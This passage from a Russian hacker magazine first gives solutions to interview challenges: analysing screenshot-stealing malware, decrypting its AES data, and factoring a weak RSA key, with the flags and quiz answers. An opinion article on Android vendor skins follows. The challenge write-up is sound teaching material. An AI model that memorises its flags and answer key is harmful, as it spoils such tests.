или любого hex‐редак тора.

Те перь  мы  зна ем,  что  скрин шот  шиф рует ся  алго рит мом  AES‐128‐CBC
по извес тно му нам клю чу, но это го недос таточ но. Для пол ноты ана лиза необ‐ 
ходимо  узнать  ини циали зиру ющий  век тор,  который  исполь зует ся  в  CBC‐
режиме.

В EVP ключ шиф рования и ини циали зиру ющий век тор переда ются в фун‐ 
кцию  .EVP_EncryptInit_ex

Нем ного поиг рав со струк турами дан ных в IDA, мож но уви деть, что в качес тве
ини циали зиру юще го век тора зло умыш ленник исполь зует ключ шиф рования.

К сло ву,  .так делать нель зя

Send_Screen
В фун кции    выпол няет ся  отправ ка  дан ных  на  сер вер  зло умыш‐ 
ленни ка.

Send_Screen

При чем  отправ ляет ся  тот  самый  зашиф рован ный  файл  .
Содер жимое зашиф рован ного фай ла, получен ное с помощью фун кции 

, находит ся в перемен ной  .

fIsdWlasd.bin
Read‐

File buf

Так  как  по  усло вию  задания  дамп  про цес са  был  снят  непос редс твен но
перед  отправ кой  зашиф рован ных  дан ных,  содер жимое  зашиф рован ного
фай ла все еще находит ся в памяти про цес са.

По мимо  это го,  зло умыш ленник  оста вил  нам  под сказ ку  в  виде  раз мера
зашиф рован ного скрин шота.

Продолжение статьи →

mailto:lozovsky@glc.ru
https://xakep.ru/2018/03/07/coding-challenges-228/
https://msdn.microsoft.com/en-us/library/windows/desktop/ms644927.aspx
https://cryptopals.com/sets/4/challenges/27


ЗАДАЧИ
НА СОБЕСЕДОВАНИЯХ

ПОЛНЫЙ РАЗБОР ЗАДАЧ И НАГРАЖДЕНИЕ
ПОБЕДИТЕЛЕЙ ОТ HACKERU

КОДИНГ  НАЧАЛО СТАТЬИ←

Сох ранить зашиф рован ный скрин шот в файл мож но пря мо из IDA.

Флаг
Зная  все  парамет ры  алго рит ма  шиф рования,  мы  можем  без  тру да  вос ста‐ 
новить исходный скрин шот из дам па, это и будет наш флаг.

Python‐скрипт, с помощью которо го мож но получить исходный скрин шот, я
положил  . Помимо это го, рас шифро вать скрин шот мож но в OpenSSL:сю да

> openssl enc ‐aes‐128‐cbc ‐d ‐in enc_screen ‐out dec_screen.jpeg ‐K 
2682377FB2C7898E5EB781D941C09C5A ‐iv 2682377FB2C7898E5EB781D941C09C5A

А вот и флаг!

РЕШЕНИЕ ОТ ПОБЕДИТЕЛЯ: ЗАДАНИЕ 2

Ус ловие
В  вашем  рас поряже нии  ока залась  зашиф рован ная  информа ция  в  фай ле

.  Дан ный файл  зашиф рован  алго рит мом  AES‐256‐ECB.  К  счастью,
у вас есть ключ от зашиф рован ного фай ла  . Проб лема в том, что он
зашиф рован алго рит мом RSA пуб личным клю чом  .

flag.enc
key.enc

key.pub
Тре бует ся: рас шифро вать файл   и дос тать флаг.flag.enc

Ре шение
Пос мотрим, что собой пред став ляет пуб личный ключ RSA.

Ви дим,  что  дли на  модуля  сос тавля ет  256  бит.  C  таким модулем  ни  о  какой
стой кос ти  крип тосис темы  говорить  не  при ходит ся.  Пер вое,  что  приш ло
на ум, — фак торизо вать модуль с помощью  .YAFU

Нам  уда лось  получить  раз ложение  модуля  на  прос тые  мно жите ли.  Это го
впол не  дос таточ но,  что бы  сге нери ровать  сек ретный  ключ  RSA‐256  и  рас‐ 
шифро вать им  . В OpenSSL есть воз можность генера ции сек ретно го
клю ча RSA с помощью коман ды  . Для это го необ ходимо знать сле‐ 
дующие парамет ры клю ча:

key.enc
asn1parse

• : модуль, в нашем слу чаеmodulus

modulus = 715212865554722993122522912465897092478494817507747
32993492805730954699131789

• : откры тая экспо нен та, в нашем слу чаеpubExp

pubExp = 65537

• : сек ретная экспо нен та, эле мент, обратный к   по модулюprivExp pubExp

?(modulus) = (p ‐ 1) ? (q ‐ 1)

• : пер вый мно житель  , в нашем слу чаеp modulus

p = 261857794043121448213410325750790838383

• : вто рой мно житель  , в нашем слу чаеq modulus

q = 273130256889334854338089243490350662083

• : эле мент, обратный к   по модулю  ;e1 pubExp (p ‐ 1)
• : эле мент, обратный к   по модулю  ;e2 pubExp (q ‐ 1)
• : эле мент, обратный к   по модулю  .coeff q p

Как  пра вило,  для  нахож дения  обратно го  эле мен та  по  модулю  исполь зуют
. Таким обра зом, все недос тающие парамет‐ 

ры мож но получить с помощью  . Ниже — резуль‐ 
тат работы скрип та.

рас ширен ный алго ритм Евкли да
сле дующе го Python‐скрип та

Для того что бы сге нери ровать сек ретный ключ RSA, необ ходимо соз дать кон‐ 
фигура цион ный файл.

И выпол нить набор команд в OpenSSL.

Здесь  мы  сге нери рова ли  при ват ный  ключ  RSA‐256  в  фор мате  DER
по  парамет рам,  ука зан ным  в  ,  переве ли  его  в  фор мат  PEM
и  записа ли  в  файл  .  Теперь  нич то  не  меша ет  нам  рас шифро вать
ключ AES и дос тать флаг.

asn1_struct
key.priv

Мож но  заметить,  что  пос ле  рас шифров ки  ключ  AES  име ет  дли ну  не  256,
а 128 бит. Поэто му реаль ный ключ выг лядит так:

197b706e1595cf81c533136a2990249700000000000000000000000000000000

В OpenSSL это не име ет зна чения, но при рас шифров ке вруч ную может сыг‐ 
рать опре делен ную роль.

Флаг: Stvgn6CFHKYd3BDE

ПРАВИЛЬНЫЕ ОТВЕТЫ НА ТЕСТ

Чес тно  говоря,  я  думал,  что  эти  воп росы  слиш ком  прос тые,  лег ко  гуг лятся
и пуб ликовать их смыс ла нет. По резуль татам ока залось,  что наш лись  такие
нев ниматель ные учас тни ки, которые накося чили даже в них. :) Так что — пуб‐ 
лику ем пра виль ные отве ты (выделе ны жир ным).
1. При  каком  вари анте  спа ма  зло умыш ленни ки  вынуж дены  ука зывать  нас‐ 
тоящий обратный адрес?

1. Фи шин говые пись ма
2. Ни герий ские пись ма
3. Ма лоти раж ная целевая спам‐рас сылка с вре донос ным вло жени ем

2. Воз можна ли утеч ка дан ных поль зовате ля, если он их вво дит с вир туаль‐ 
ной кла виату ры?

1. Нет
2. Нет, если на компь юте ре зак леена виде ока мера
3. Да

3. Вы бери те  все  из  нижепе речис ленных  проб лем,  которые  уда ется  решить
с помощью тех нологии соления паролей

1. Вы бор слиш ком корот кого пароля
2. Не информа тив ность пароля
3. Сов падение паролей у раз ных поль зовате лей

4. Ка кая из перечис ленных вре донос ных прог рамм пред назна чена для атак
на онлайн‐бан кинг?

1. Chameleon
2. Virus.Win9x.CIH
3. Carberp

5. Ка кой вид атак на онлайн‐бан кинг тех ничес ки наибо лее сло жен и тре бует
внед рения на ата куемом информа цион ном ресур се экс пло ита?

1. Phishing
2. Man‐in‐the‐Middle
3. Man-in-the-Endpoint

6. В чем сла бое мес то про токо ла Диф фи — Хел лма на?

1. Ма тема тичес кая осно ва это го про токо ла ненадеж на
2. Уяз вим по отно шению к ата кам Man-in-the-Middle
3. Стал  уяз вим  по  отно шению  к  brute‐force  attack  с  уче том  вырос ших
вычис литель ных воз можнос тей компь юте ров

7. Ка кой  метод  DDOS‐ата ки  поз воля ет  добить ся  мно гок ратно го  уси ления
тра фика?

1. UDP flood
2. Http slow post
3. Dns amplification ата ка

8. Ка кой хеш‐алго ритм работа ет быс трее?

1. CRC32
2. MD5
3. SHA‐2

9. Ка кие крип тогра фичес кие методы исполь зуют ся в тех нологии блок чейн?

1. По токо вое шиф рование
2. Хе широ вание
3. Циф ровая под пись

10. Вы бери те все пра виль ные вари анты отве та

1. Фор мат HTTPS раз работан спе циаль но для нужд онлайн‐бан кинга
2. HTTPS явля ется отдель ным по срав нению с HTTP про токо лом
3. HTTPS — это рас ширение про токо ла HTTP, в котором добав- 
лено шиф рование переда ваемых по тран спортным механиз- 

мам про токо ла HTTP дан ных

IT-ком пании, шли те нам свои задач ки!
Мис сия этой мини‐руб рики — обра зова тель ная, поэто му мы бес плат но пуб‐ 
лику ем  качес твен ные  задач ки,  которые  раз личные  ком пании  пред лага ют
соис кателям.  Вы  шле те  задач ки  на  lozovsky@glc.ru  —  мы  их  пуб лику ем.
Никаких  актов,  догово ров,  экспер тиз  и  отчетнос тей.  Читате лям —  задач ки,
решате лям  —  подар ки,  вам  —  рес пект  от  нашей  мно госот тысяч ной  ауди‐ 
тории,  пиар щикам — строч ки  отчетнос ти  по  пуб ликаци ям  в  топовом  компь‐ 
ютер ном жур нале.

https://pastebin.com/DhSXbVPd
https://github.com/DarkenCode/yafu
https://en.wikibooks.org/wiki/Algorithm_Implementation/Mathematics/Extended_Euclidean_algorithm
https://pastebin.com/kFRJWswQ
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В одном из  пре дыду щих  выпус ков мы под‐ 
робно  рас смот рели  при чины,  по  которым
смар тфо ны  Apple  были  и  будут  быс трее
акту аль ных  флаг манов  на  Android.  Статья
выз вала бур ные обсужде ния и неод нознач‐ 
ные  реак ции.  В  свя зи  с  этим  мы  решили
раз вить  и  углу бить  тему,  рас ска зав  о  тех
пал ках,  которые  суют  в  колеса  неп лохой,
в  прин ципе,  сис темы  про изво дите ли
андро ид‐смар тфо нов.

АНДРОИД ПЛОХОЙ И ХОРОШИЙ
В этой статье ничего не будет о багах и неудобс твах чис того Android — неко‐ 
его эта лона, сос тояще го из AOSP и сер висов Google, который уста нав лива‐ 
ется в смар тфо ны лине ек Android One, Google Pixel и смар тфо ны некото рых
про изво дите лей  (нап ример,  Motorola  и  Nokia).  Такой  Android  мы  назовем
«хорошим»:  нра вят ся  тебе  его  осо бен ности  или  нет,  но  имен но  так  он  был
спро екти рован.  В  срав нении  с  подел ками  про изво дите лей  смар тфо нов
«хороший»  Android  чаще  быва ет  удач но  опти мизи рован  и  с  боль шей  веро‐ 
ятностью  будет  регуляр но  обновлять ся —  по  край ней  мере,  у  тех  про изво‐ 
дите лей, которые сде лали «чис тый Android» сво ей мар кетин говой фиш кой.

Здесь и сей час мы погово рим о том, как про изво дите ли — те самые HTC,
LG, Samsung и про чие — пыта ются улуч шить сис тему и что из это го получа‐ 
ется.

СВИСТЕЛКИ: БЛАГИЕ НАМЕРЕНИЯ ПО-АЗИАТСКИ
Пер вым, что нас встре тит при вклю чении любого новень кого флаг мана, будет
ани миро ван ная  зас тавка,  бут‐ани мация.  Аме рикан ские  про изво дите ли
скром ны:  на  iPhone  и  iPad  в  течение  всей  заг рузки  мы  име ем  счастье  наб‐ 
людать лишь белое ста тич ное ябло ко. Смар тфо ны на Windows 10 Mobile раду‐ 
ют  таким  же  ста тич ным  голубым  логоти пом  Windows.  Google  зна читель но
менее  скром на,  выводя  веселую  раз ноцвет ную  ани мацию,  которая  еще  и
отли чает ся для раз ных вер сий Android.

Что  объ еди няет  зас тавки  этих  про изво дите лей?  Нас  не  бес поко ят  лиш‐ 
ними зву ками.

«ЛА‐ЛА‐ЛА!»  —  кри чат  телефо ны  LG  при  вклю чении.  «УПСС‐БУМЦ!»  —
воз веща ет нам о заг рузке флаг ман HTC всей мощью динами ков Boom Sound.
Самые  раз нооб разные,  но  неиз менно  гром кие  тре ли  изда ют  смар тфо ны,
доос нащен ные самой пер вой свис телкой, отве чающей ази атским пред став‐ 
лени ям о прек расном. И если у китай ской Lenovo, мас киру ющей ся под аме‐ 
рикан скую Motorola,  эту  свис телку  мож но  будет  отклю чить,  то  смар тфон  LG
или  HTC,  самоп роиз воль но  перезаг рузив ший ся  пос реди  ночи,  неп ремен но
уве домит об этом радос тном событии сон ного вла дель ца.

УВЕДОМЛЕНИЯ
В Android отлично про думан ная и прек расно реали зован ная сис тема уве дом‐ 
лений,  на  голову  пре вос ходящая  реали зацию  уве дом лений  в  iOS.  Казалось
бы,  что  здесь  мож но  улуч шить?  Увы,  ази атские  про изво дите ли  это  сде лать
сумели. Каж дое такое улуч шение вызыва ет раз рушитель ный эффект.

Нач нем с HTC. По какой‐то при чине обоз ревате ли пов торя ют друг за дру‐ 
гом, что све жие поколе ния HTC Sense — это поч ти чис тый Android, акку рат но
улуч шенный  в  нуж ных  мес тах.  Изви ните,  дорогие  обоз ревате ли,  но  «улуч‐ 
шить» Android кри выми руками не получит ся. Вот что сде лали прог раммис ты
HTC с уве дом лени ями.

«Что‐то пос ле обновле ния пос тоян но начали зву ковые уве дом ления при‐ 
ходить от при ложе ний, хотя по умол чанию сто ит без зву ка и на семер ке все
нор маль но работа ло», — жалу ется поль зователь. Далее сле дует раз весис тая
инс трук ция,  куда  заходить  и  как  отклю чать  звук  для  каж дой  уста нов ленной
и сис темной прог раммы, а  так же для отдель ных под катего рий  каж дой прог‐ 
раммы. Резуль тат —  «Помог ло,  но  не  силь но — вклю чения  зву ка  на  смар те
ста ли реже, но не про пали».

Смот рим на пер вый скрин шот.

Что  мы  здесь  видим?  Самая  обыч ная  нас трой ка  зву ков  уве дом лений
из самого что ни на есть стан дар тно го Android. Казалось бы, что здесь может
пой ти не так? Нас тро или звук уве дом лений на бес шумный режим и нас лажда‐ 
емся поко ем; телефон побес поко ит нас звон ками, но не будет пищать, кри‐ 
чать или сви рис теть на всю ком нату на каж дое получен ное пись мо.

Прос ти, но раз работ чики HTC луч ше зна ют, что тебе нуж но. Как так — уве‐ 
дом ления,  да  без  зву ка? И  «улуч шают»  Android,  добавив  свою  собс твен ную
кри вую  надс трой ку  дис крет ного  управле ния  уве дом лени ями.  Теперь  все
(все!)  твои  при ложе ния,  сколь ко  бы  их  ни  было  уста нов лено  на  смар тфо не,
пле вать хотели на без звуч ный режим уве дом лений, который ты выб рал в нас‐ 
трой ках,  а  кон тро лиру ются  чем‐то  вро де  того,  что  показа но  на  скрин шоте
ниже.

И если в стан дар тном Android даже те уве дом ления, для которых вдруг раз‐ 
решен  звук,  про игра ют  бес шумное  уве дом ление,  то  раз работ чики  HTC
решили ина че: для каж дого уве дом ления будет про игры вать ся какой‐то звук,
никак не свя зан ный с тем, что было выб рано в нас трой ках. У тебя уста нов лена
сот ня при ложе ний? Будь добр прой тись по всем в нас трой ках HTC и отклю‐ 
чить звук для каж дого из них. Уста новил новое при ложе ние? Не забудь зай ти
в нас трой ки уве дом лений и отклю чить ему звук, ина че тебя может побес поко‐ 
ить неп рият ный сюр приз.

По чему  такая мелочь  сто ила  такого  количес тва  букв? Да  прос то  потому,
что на собс твен ном HTC U11 я убил боль ше полуто ра часов, пыта ясь отру бить
зву ковые  уве дом ления  для  всех  при ложе ний, —  и  все  рав но  вре мя  от  вре‐ 
мени  телефон  пода ет  голос!  Чес тное  сло во,  это  «улуч шение»  —  уже  дос‐ 
таточ ная при чина, что бы изба вить ся от назой ливого флаг мана.

Ска жешь,  это  баг  и  его  испра вят  в  будущей  вер сии?  Давай  пос мотрим.
Android  8.0  с  дан ным  улуч шени ем  при шел  на  HTC  U11  в  декаб ре  2017‐го.
Январь,  фев раль,  март…  обновле ний  нет,  как  нет  и  внят ного  понима ния,
будут ли вооб ще устра нять этот баг — или же это такая фича.

Кста ти, поругав HTC, не могу не оста новить ся на обо лоч ке LG, в которой
вооб ще  нель зя  выб рать  «без звуч ный»  тон  для  уве дом лений!  Сама  мысль
о  том,  что  кому‐то  может  не  пон равить ся  пос тоян ный  трез вон  телефо на,
не посети ла головы прог раммис тов LG.

Ре зуль тат? При ходит ся извра щать ся, соз давая файл с «пус тым» зву ком. А про
звук начала и окон чания заряд ки, который невоз можно отклю чить из нас тро‐ 
ек, я и вов се мол чу: телефон еже нощ но раду ет бод рым пиликань ем: «Ура! Я
зарядил ся!»

А теперь воп рос на засып ку: дума ешь, это такой баг? Нет! Это соз натель‐ 
ное  решение  прог раммис тов  (ну  не  дизай неров  UI  же)  из  LG,  кочу ющее
из одной вер сии Android в дру гую. 5.0, 5.1, 6.0, 7.0 — вез де одна и та же кар‐ 
тина. Молод цы, здо рово улуч шили!

СОВСЕМ КАК IPHONE, ТОЛЬКО ЛЕГКИЙ!
В HTC уве дом ления работа ют и выг лядят имен но так, как дол жны по замыс лу
раз работ чиков Android. А вот некото рые дру гие про изво дите ли любят «делать
кра сиво», уро дуя стан дар тный дизайн Android и пыта ясь сде лать, «как в айфо‐ 
нах».  Получа ется…  получа ется  очень  пло хо.  При мер но  как  в  китай ских  бум‐ 
боксах из девянос тых с кучей мига ющих лам почек и ярких цве тов.

Вот так это выг лядит у Huawei (спра ва — «чис тый» Android):

А вот какой кош мар сде лала небезыз вес тная LeEco:

А  вот  так  пред став ляют  себе иде аль ный интерфейс Android 6.0  в  LG. Очень
круп ные  кноп ки  навига ции,  очень  круп ные  икон ки  перек лючате лей  свер ху,
которые оче вид но не влез ли в раз мер, и уже без того улуч шенные стан дар‐ 
тные  перек лючате ли  приш лось  допол нитель но  улуч шать  при  помощи
горизон таль ной прок рутки.

Чем  пло хи  такие  интерфей сы?  Как  и  все  свис телки‐мигал ки,  подоб ные
интерфей сы мало  того  что  говорят о дур ном вку се  («о  вку сах  не  спо рят» —
не  в  эту  опе ру;  вку сы  у  челове ка  будут  пло хими  и  даже  ужас ными,  если  их
не вос питывать с детс тва), так еще и лома ют поль зователь ский опыт рез кими
перехо дами меж ду став шим уже клас сичес ким матери аль ным дизай ном An‐
droid и цве тас тым полуп розрач ным изыс ком ази атских прог раммис тов.

Еще  один  момент,  который  часть  про изво дите лей  пыта ется  сде лать  так,
как сде лано в iOS, — управле ние яркостью экра на. В све жих вер сиях Android
при вклю чении авто мати чес кого управле ния яркостью пол зунок кон тро лиру ет
не  яркость  нап рямую,  а  кри вую  зависи мос ти  яркости  экра на  от  внеш него
осве щения. Это логич но: дос таточ но один раз выс тавить пол зунок в удоб ное
положе ние, и о нем мож но забыть нав сегда.

Увы, но ряд про изво дите лей «улуч шает» эту логику, при вязы вая пол зунок
яркости в авто режи ме нап рямую к уров ню под свет ки экра на. Так, нап ример,
сде лали раз работ чики OnePlus (как всем извес тно, их про шив ка OxygenOS —
это  как  чис тый  Android,  толь ко  луч ше).  В  резуль тате,  если  выб ранные  авто‐ 
мати кой уров ни яркости не устра ивают, пол зунок при ходит ся пос тоян но дви‐ 
гать туда‐сюда. То, что имен но так орга низо вано управле ние яркостью в iOS,
не спа сает от прис тупов раз дра жения.

Го воря  о  OnePlus  пос ледних  моделей,  нель зя  не  упо мянуть  и  еще  одно
важ ное  «улуч шение».  В  ком пании  решили  добавить  аппа рат ный  перек‐ 
лючатель  режимов  уве дом лений,  сде лав  его  «как  в  iPhone,  толь ко  луч ше».
Трех позици онный перек лючатель в OnePlus 5 и 5T поз воля ет удоб но и быс тро
перек лючать ся  меж ду  зву ковы ми  и  без звуч ными  режима ми  уве дом лений.
Казалось  бы,  удоб но!  Увы,  сов сем  нет:  китай ские  прог раммис ты  не  сумели
оси лить  логику  перек лючения  режимов  уве дом лений  Android  и  пол ностью
выпили ли из про шив ки такую полез ную вещь, как авто мати чес кое вклю чение
режима «не бес поко ить» по рас писанию и по событи ям  (нап ример, по важ‐ 
ным встре чам в кален даре). Поль зовате лю пред лага ется перенес тись назад
в те бла гос ловен ные вре мена, где не было умной элек тро ники, а было мно го
желез ных  тум бле ров.  Хочешь  бес шумный  режим  на  ночь?  Перек лючи  тум‐ 
блер!  Забыл  перек лючить  и  тебя  раз будила  при шед шая  рано  утром  рек‐ 
ламная  SMS?  Не  надо  винить  рукас тых  прог раммис тов  из  Китая,  прос то
в сле дующий раз не забывай перещел кнуть тум блер.

ОПТИМИЗАЦИЯ
За  что  я  люб лю  смар тфо ны  Pixel —  так  это  за  иде аль ную,  прос то  образцо‐ 
во‐показа тель ную опти миза цию. При том что пер вое поколе ние Pixel исполь‐ 
зовало про цес соры с зарезан ными час тотами и ком плек товалось мед ленной
по  стан дартам  2016  года  памятью  eMMC  (осталь ные  флаг маны  выходи ли
на более шус трой UFS 2.0), смар тфо ны от Google работа ют иде аль но плав но,
как по мас лу. Нет лагов и подер гиваний ани маций, нет неожи дан ных перег‐ 
ревов, нет ужас ной нетороп ливос ти пос ле того, как смар тфон «про сыпа ется»
из сос тояния глу боко го сна. При ложе ния запус кают ся с пред ска зуемой ско‐ 
ростью  и  работа ют  пред ска зуемо  плав но.  Чес тно  говоря,  имен но  чет кость
и плав ность работы Pixel — то,  чего ста ло замет но не  хва тать на пос ледних
вер сиях iOS.

Срав нивая Pixel пер вого поколе ния с псев дофлаг маном HTC U Ultra (Snap‐
dragon 821, UFS 2.0) невоз можно не заметить, что смар тфон от HTC: а) перег‐ 
рева ется  на  прос тей ших  задачах  и  б)  под торма жива ет  и  под лагива ет,
оставляя ощу щение, что про цес сор работа ет из пос ледних сил. Про сыпа ясь
из  сос тояния  глу боко го  сна,  пер вые  нес коль ко  секунд  U  Ultra  нетороп лив,
как  сон ная  черепа ха  (вплоть  до  того,  что штор ка  уве дом лений  откры вает ся
рыв ками,  да  и  то  пос ле  замет ной  задер жки).  Что  это —  проб лема  Android?
Нет:  на  Pixel,  работа ющем  на  похожем  железе,  ничего  подоб ного  не  наб‐ 
люда ется. Прос то пло хая, очень пло хая опти миза ция.

По доб ных при меров я могу при вес ти мас су. LG G Flex 2 — перег рев, при‐ 
чем  зачас тую  в  сос тоянии прос тоя,  ког да  устрой ство  вдруг  начина ло  что‐то
счи тать  с  вык лючен ным  экра ном,  обжи гая  кар ман.  Об  утеч ках  заряда  из‐за
непобеж денных  wakelock’ов  ядра,  при водя щих  к  ано маль ному  поведе нию
смар тфо на  в  прос тое,  мож но  писать  серию  ста тей;  спра вить ся  с  такими
вещами  невоз можно  даже  с  рут‐дос тупом,  поможет  толь ко  исправ ление
от про изво дите ля или кас томная про шив ка.

КРИТИЧЕСКИЕ ОШИБКИ И НЕДОДЕЛКИ
Как тебе пон равит ся, если твой телефон прев ратит ся в «кир пич» пос ле оче‐ 
ред ного  обновле ния?  Ситу ация  дос таточ но  ред кая  для  боль шинс тва  про‐ 
изво дите лей,  но,  увы,  встре чающаяся.  Впро чем,  если  баг  зат рагива ет
неболь шое количес тво поль зовате лей и лишь вре мя от вре мени — серь езно‐ 
го ущер ба репута ции про изво дите ля он не при несет. А вот если все устрой‐ 
ства пос ле получе ния ОТА вдруг начина ют бло киро вать ся — это уже не очень
хорошо.

Имен но  такое «улуч шение» внес ли в Android  горе‐раз работ чики OnePlus.
С  выходом  Android  8  что‐то  пош ло  не  так,  и  абсо лют но  все  поль зовате ли
устрой ств OnePlus 5 с раз бло киро ван ными заг рузчи ками, уста новив шие пер‐ 
вое, вто рое, а потом и третье обновле ние (их выпус кали с переры вом мень ше
недели),  получи ли  ошиб ку  рас шифров ки  дан ных:  телефо ны  не  заг ружались.
Сброс дан ных и пос леду ющее вос ста нов ление из облачной резер вной копии
помога ли — ров но до сле дующе го обновле ния.

Продолжение статьи →
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КАЧЕСТВО ДРАЙВЕРОВ
О качес тве драй веров в Android мож но писать мно го хороше го, но всег да ли
виноват  про изво дитель?  Ведь  некото рые  драй веры  пос тавля ет  про изво‐ 
дитель чип сета  (к при меру, Qualcomm), а некото рые — нап ример, к модулю
виде ока меры — и  вов се  сто рон ние  ком пании‐про изво дите ли.  Уди витель но,
что эта «сбор ная солян ка» вооб ще работа ет… впро чем, стоп: а работа ет ли?

Возь мем  для  при мера  ту  же  ком панию  OnePlus,  прог раммис ты  которой
допус тили кри тичес кую ошиб ку, не учтя осо бен ностей шиф рования вось мой
вер сии  Android.  Ком пания  уста нови ла  «револю цион ный»  модуль  камеры,
на  мат рице  которо го  при сутс тву ют  дат чики  фазовой  фокуси ров ки.  Мар‐ 
кетоло ги глу боко вдох нули и анон сирова ли OnePlus 5 под лозун гом «Clearer
photos». Казалось бы, что может пой ти не так?

Да вай пос мотрим на вот эту фотог рафию:

Что  это?  Почему  небо  в  горошек?  Как  ока залось,  в  OnePlus  сэконо мили,
заказав у SONY модуль с драй верами, но решив не опла чивать даль нейшую
раз работ ку и исправ ление най ден ных оши бок. В резуль тате драй веры SONY
не  учи тыва ют  фазовые  точ ки  фокуси ров ки,  которые  и  выг лядят  на  сним ках
как  бод рый  горох.  Оче вид но,  такие  сним ки  невоз можно  было  бы  про дать
как  «clearer  photos»,  и  прог раммис там  OnePlus  была  пос тавле на  задача
замас кировать проб лему. Что они успешно и про дела ли, вклю чив зап редель‐ 
ные  нас трой ки шумопо дав ления,  вмес те  с  «горохом» фазовых  точек  съеда‐ 
ющих и все мел кие детали на сним ке. Проб лема решена!

Ду маешь, еди нич ный слу чай? Ничего подоб ного: с тем же модулем, с теми
же  драй верами  и  ров но  с  теми  же  проб лемами  пол года  спус тя  ком пания
выпус кает вто рой телефон, OnePlus 5T. Нас тупили на те же граб ли пос ле дол‐ 
гой и гром кой ругани поль зовате лей? Какая раз ница, если и так купят!

ПОЧЕМУ СМАРТФОНЫ С ANDROID РАБОТАЮТ МЕДЛЕННЕЕ ПОСЛЕ
ОБНОВЛЕНИЙ
О качес тве драй веров мы уже рас ска зали. Имен но драй веры могут стать при‐ 
чиной пло хой работы устрой ства. Осо бен но явно это ста новит ся замет но тог‐ 
да,  ког да  про изво дитель  реша ет  сэконо мить  и  обновля ет  вер сию  Android,
оставляя без изме нения ори гиналь ные драй веры.

Как это воз можно? Вплоть до Android 8 с его Project Treble  каж дая новая
вер сия  Android  вклю чала  ряд  изме нений  в  API,  зас тавляя  про изво дите лей
чип сетов  выпус кать  новые  вер сии  драй веров  для  круп ных  обновле ний  сис‐ 
темы. Выпуск драй веров не бес пла тен, и про изво дите лям при ходи лось пла‐ 
тить за обновлен ный код — или по фак ту, или в рам ках зак лючен ного кон трак‐ 
та при закуп ке мик росхем. Но что, если про изво дитель не  хочет опла чивать
новые  драй веры,  а  обновлять  сис тему  при ходит ся?  В  таких  слу чаях  час то
при бега ют к прог рам мной прос лой ке, тран сли рующей новые вызовы API к той
вер сии  API,  которую  под держи вают  ста рые  драй веры.  Вооб ще  говоря,  так
делать неп равиль но; такой под ход явно огра ничи вает и про изво дитель ность,
и сов мести мость сис темы, час то не дает дос тупа к новым воз можнос тям све‐ 
жей вер сии Android. Тем не менее этот под ход весь ма популя рен сре ди раз‐ 
работ чиков  кас томных  про шивок —  хотя  бы  потому,  что  све жих  драй веров
может  прос то  не  быть  (клас сичес кий  при мер  из  недав них  —  выпуск  кас‐ 
томных  про шивок  с  Android  7,  8  и  8.1  для  смар тфо нов  LeEco,  которые
не получа ли обновле ний базовой вер сии Android 6.0 с момен та выхода).

К сожале нию, отдель ные про изво дите ли исполь зуют ров но тот же под ход.
Смар тфо ны OnePlus 5, 5T были выпуще ны с Android 7 на бор ту. Обновле ние
до  Android  8  исполь зовало  ста рые  драй веры  и  прог рам мную  прок ладку
(shim).

Опять же, дума ешь — еди нич ный слу чай, да еще и у мар гиналь ной китай‐ 
ской ком пании? А если я ска жу,  что ров но тем же самым балу ется круп ней‐ 
ший  про изво дитель  смар тфо нов  на  Android  —  ком пания  Samsung,  да  еще
и не для чьих‐то там чипов, а для собс твен ных чип сетов Exynos?
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SAMSUNG И ОБНОВЛЕНИЯ
Для начала — статья:  .Samsung, Exynos and AOSP Explained: A Story of Betrayal

В  этой  статье  раз работ чики  очень  под робно  и  деталь но  опи сыва ют,
как  имен но  в  Samsung  все,  что  мож но  сде лать  неп равиль но,  сде лано  неп‐ 
равиль но.  В  час тнос ти,  Samsung  час то  исполь зует  прог рам мные  прос лой ки
для  тран сля ции API  при обновле нии вер сий Android. Пос ле мно гочис ленных
обновле ний  изме нения  накап лива ются,  прог рам мные  прок ладки  ста новят ся
все тол ще, а про изво дитель ность — все хуже. Имен но из‐за мно гочис ленных
прос лоек  обо лоч ка  от  Samsung  со  вре менем  начина ет  работать  из  рук  вон
пло хо даже на мощ ней ших устрой ствах. Это про исхо дит вов се не потому, что
Samsung  их  как‐то  спе циаль но  искусс твен но  замед ляет;  прос то  ина че  они
не уме ют.

КАЧЕСТВО КОДА У SAMSUNG
Мы обсу дили свис телки и иско вер канный UI, отсутс твие опти миза ции и низ‐ 
кое  качес тво  драй веров.  Как  еще  мож но  испортить  Android?  Ока зыва ется,
лег ко. Дос таточ но прос то быть Samsung.

Ес ли  мно гие  про изво дите ли  дела ют  софт  и  драй веры  из  под ручно го
матери ала и палок, то прог раммис там Samsung палок не завез ли. На выходе
получа ется обо лоч ка, умуд ряющаяся замет но под торма живать и под лагивать
на про цес соре, мощ ность которо го пре вос ходит CPU уль тра буков.

На вер ное,  ты  сей час  дума ешь:  ну  конеч но,  в  Samsung  все  дураки,  один
автор статьи такой умный! Все или не все, но уро вень прог раммис тов в Sam‐
sung уж точ но ниже нулевой отметки. Вспом ним исто рию с собс твен ной раз‐ 
работ кой ком пании, ОС Tizen, о которой писали бук валь но сле дующее:

Воз можно,  это  худ ший  код  из  тех,  что  мне  довелось  видеть.  Все
ошиб ки,  которые мож но было допус тить,  были допуще ны. Оче вид но,
что  код  писал  или  про верял  кто‑то,  кто  ничего  не  понима ет
в  безопас ности.  Это  все  рав но,  что  поп росить  школь ника  написать
для вас прог рам мное обес печение. 
Ис точник

Ко неч но же, в Samsung не мог ли не отре аги ровать на такое заяв ление. Пос ле
того  как резуль таты иссле дова ния были опуб ликова ны на Motherboard,  ком‐ 
пания Samsung начала работу над исправ лени ями. Резуль тат впе чат ляет: код
Tizen  боль ше  не  «худ ший  в  исто рии».  Теперь  это 

.
прос то  ужас,  но  не

ужас‐ужас
Да,  но  при  чем  здесь  Tizen,  ведь  говорим‐то мы  об  Android? И  дей стви‐ 

тель но, та часть ПО Samsung, которая написа на спе циалис тами Google, впол‐ 
не работос пособ на. Проб лема же в том, что Samsung стре мит ся мак сималь‐ 
но  перепи сать,  переде лать  ОС  от  Google,  заменив  все,  что  мож но,  прог‐ 
рамма ми собс твен ного изго тов ления, переде лав сис тему как визу аль но, так
и  изнутри.  Резуль тат?  Лаги,  под торма жива ния,  аля пова тые  и  непос ледова‐ 
тель ные  визу аль но‐гра фичес кие  решения  в  интерфей се  и  мно гочис ленные
баги.

А при ложе ния‐дуб ликаты? Ког да я покупал свой пер вый смар тфон на An‐
